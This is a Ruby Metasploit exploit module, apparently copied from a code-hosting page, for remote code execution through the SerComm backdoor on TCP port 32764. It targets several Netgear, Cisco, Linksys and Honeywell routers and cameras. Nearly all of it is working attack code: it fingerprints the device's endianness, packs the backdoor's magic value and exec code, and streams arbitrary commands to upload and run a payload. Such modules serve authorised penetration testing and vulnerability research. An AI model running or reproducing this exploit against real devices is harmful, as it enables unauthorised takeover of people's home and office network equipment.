216 lines
5.7 KiB
Ruby
216 lines
5.7 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::CmdStagerEcho
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def initialize(info={})
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super(update_info(info,
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'Name' => "SerComm Device Remote Code Execution",
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'Description' => %q{
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This module will cause remote code execution on several SerComm devices.
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These devices typically include routers from NetGear and Linksys.
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This module was tested successfully against several NetGear, Honeywell
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and Cisco devices.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
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'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
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],
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'Payload' =>
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{
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'Space' => 10000, # Could be more, but this should be good enough
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'DisableNops' => true
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},
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'Platform' => 'linux',
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'Privileged' => false,
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'Targets' =>
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[
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['Generic Linux MIPS Big Endian',
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{
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'Arch' => ARCH_MIPSBE,
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'PackFormat' => 'VVV'
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}
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],
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['Generic Linux MIPS Little Endian',
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{
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'Arch' => ARCH_MIPSLE,
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'PackFormat' => 'NNN'
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}
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],
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['Manual Linux MIPS Big Endian',
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{
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'Arch' => ARCH_MIPSBE
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}
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],
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['Manual Linux MIPS Little Endian',
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{
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'Arch' => ARCH_MIPSLE
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}
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],
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['Cisco WAP4410N',
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{
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'Arch' => ARCH_MIPSBE,
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'PackFormat' => 'NNN',
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}
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],
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['Honeywell WAP-PL2 IP Camera',
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{
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'Arch' => ARCH_MIPSLE,
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'PackFormat' => 'VVV'
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}
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],
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['Netgear DG834',
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{
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'Arch' => ARCH_MIPSBE,
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'PackFormat' => 'VVV',
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'NoArgs' => true
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}
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],
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['Netgear DG834G',
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{
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'Arch' => ARCH_MIPSLE,
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'PackFormat' => 'VVV',
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'PayloadEncode' => 'octal'
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}
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],
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['Netgear DG834PN',
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{
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'Arch' => ARCH_MIPSBE,
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'PackFormat' => 'VVV',
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'NoArgs' => true
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}
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],
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['Netgear DGN1000',
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{
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'Arch' => ARCH_MIPSBE,
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'PackFormat' => 'VVV',
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'NoArgs' => true
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}
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],
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['Netgear DSG835',
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{
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'Arch' => ARCH_MIPSBE,
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'PackFormat' => 'VVV',
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'NoArgs' => true,
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}
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],
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['Netgear WPNT834',
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{
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'Arch' => ARCH_MIPSBE,
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'PackFormat' => 'NNN',
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'UploadPath' => '/var',
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'PayloadEncode' => 'octal'
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}
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]
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],
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'DefaultTarget' => 0,
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'References' =>
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[
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[ 'OSVDB', '101653' ],
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[ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
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],
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'DisclosureDate' => "Dec 31 2013" ))
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register_options(
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[
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Opt::RPORT(32764)
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], self.class)
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register_advanced_options(
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[
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OptEnum.new('PACKFORMAT', [false, "Pack Format to use", 'VVV', ['VVV', 'NNN']]),
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OptString.new('UPLOADPATH', [false, "Remote path to land the payload", "/tmp" ]),
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OptBool.new('NOARGS', [false, "Don't use the echo -en parameters", false ]),
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OptEnum.new('ENCODING', [false, "Payload encoding to use", 'hex', ['hex', 'octal']]),
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], self.class)
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end
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def check
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fprint = endian_fingerprint
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case fprint
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when 'BE'
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vprint_status("Detected Big Endian")
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return Msf::Exploit::CheckCode::Appears
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when 'LE'
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vprint_status("Detected Little Endian")
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return Msf::Exploit::CheckCode::Appears
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end
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return Msf::Exploit::CheckCode::Safe
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end
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def exploit
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if target.name =~ /Manual/
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print_warning("Remember you can configure Manual targets with NOARGS, UPLOADPATH, ENCODING and PACK advanced options")
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@no_args = datastore['NOARGS']
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@upload_path = datastore['UPLOADPATH']
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@encoding_format = datastore['ENCODING']
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@pack_format = datastore['PACKFORMAT']
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else
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@no_args = target['NoArgs']
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@upload_path = target['UploadPath']
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@encoding_format = target['PayloadEncode']
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@pack_format = target['PackFormat']
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end
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execute_cmdstager(
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:noargs => @no_args,
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:temp => @upload_path,
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:enc_format => @encoding_format
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)
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end
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def endian_fingerprint
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begin
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connect
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sock.put(rand_text(5))
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res = sock.get_once
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disconnect
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if res && res.start_with?("MMcS")
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return 'BE'
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elsif res && res.start_with?("ScMM")
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return 'LE'
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end
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rescue Rex::ConnectionError => e
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print_error("Connection failed: #{e.class}: #{e}")
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end
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return nil
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end
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def execute_command(cmd, opts)
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vprint_debug(cmd)
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# Get the length of the command, for the backdoor's command injection
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cmd_length = cmd.length
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# 0x53634d4d => Backdoor code
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# 0x07 => Exec command
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# cmd_length => Length of command to execute, sent after communication struct
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data = [0x53634d4d, 0x07, cmd_length].pack(@pack_format)
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connect
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# Send command structure followed by command text
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sock.put(data+cmd)
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disconnect
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Rex.sleep(1)
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end
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end
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